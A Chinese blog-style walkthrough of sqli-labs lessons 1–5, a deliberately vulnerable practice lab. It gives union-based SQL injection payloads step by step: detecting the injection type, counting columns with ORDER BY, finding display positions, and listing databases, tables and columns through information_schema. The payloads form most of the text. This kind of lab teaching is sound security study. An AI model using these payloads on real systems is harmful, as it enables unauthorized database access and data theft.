sql-labs-master less1-5

Less-1

1.判断数据注入类型

?id=2-1  
// 给id赋值一个式子,
若输出id=1的数据,即为:数字型 (先运算后赋值)
若输出id=2的数据, 即为:字符型(赋值第一个字符)
或者
?id=1' and '1'='1 // 未报错

?id=1' and '1'='2 // 报错,字符型

在这里插入图片描述

2.判断数据列数

?id=1' order by 3 --+  
// 判断是否为三列,未报错说明正确

在这里插入图片描述

?id=1' order by 4 --+
// 判断是否为四列,报错说明没有四列

在这里插入图片描述

注:联合查询必须列数相同,所以才先判断列数,再输入相同列数的数据来判断显示位

3.判断显示位

?id=111' union select 1,2,3 --+
// id=111' 是因为采用联合查询,使前面为假,便可以跳过直接执行后面的代码

在这里插入图片描述

4.查询库名

4.1 查询当前库名
?id=111' union select 1,database(),3 --+
//database() 当前库名

在这里插入图片描述

4.2 查询所有库名
?id=111' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

在这里插入图片描述

4.3 查询该库所有表名
?id=111' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = database() --+
// group_concat():使数据在一行显示
// where table_schema = database() :限定条件,表所属数据库为该数据库

在这里插入图片描述

4.4 查询users表中字段
?id=111' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users' and table_schema = database()--+
// where table_name = 'users' and table_schema = database() 限定条件,该库中users表中的字段

在这里插入图片描述

Less-2

1.判断数据注入类型

?id=2-1

在这里插入图片描述

2.判断数据列数

?id=1 order by 3

在这里插入图片描述

在这里插入图片描述

3.判断显示位

?id=111 union select 1,2,3 --+

在这里插入图片描述

4.查询库名

4.1 查询当前库名

确定显示位后,将想要查询的数据写在该显示位

?id=111 union select 1,database(),3 --+

在这里插入图片描述

4.2 查询该库中所有表名
?id=111 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

在这里插入图片描述

4.3 查询emails表中所有字段
?id=111 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='emails' and table_schema=database()--+

在这里插入图片描述

Less-3

1.判断数据注入类型

?id=2-1

在这里插入图片描述

?id=1"

在这里插入图片描述

2.判断数据列数

在这里插入图片描述

正确方法:

?id=1') order by 3 --+

在这里插入图片描述

3.判断显示位

?id=111') union select 1,2,3 --+

在这里插入图片描述

4.查询库名

当前库名

在这里插入图片描述

其他 库名、表名、列名与Less-1 语法一样

Less-4

1.判断数据注入类型

?id=2-1 

在这里插入图片描述

2.判断数据列数

?id=1") order by 3 --+

在这里插入图片描述

3.判断显示位

?id=111") union select 1,2,3 --+ 

在这里插入图片描述

4.查询库名

?id=111") union select 1,database(),3 --+ 

在这里插入图片描述

Less-5(报错注入)

1.判断数据注入点类型

单引号导致页面显示数据库报错信息,确定注入点为单引号字符型

在这里插入图片描述

2.判断函数是否可用

在这里插入图片描述

3.查询库名

在这里插入图片描述

  • 6
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值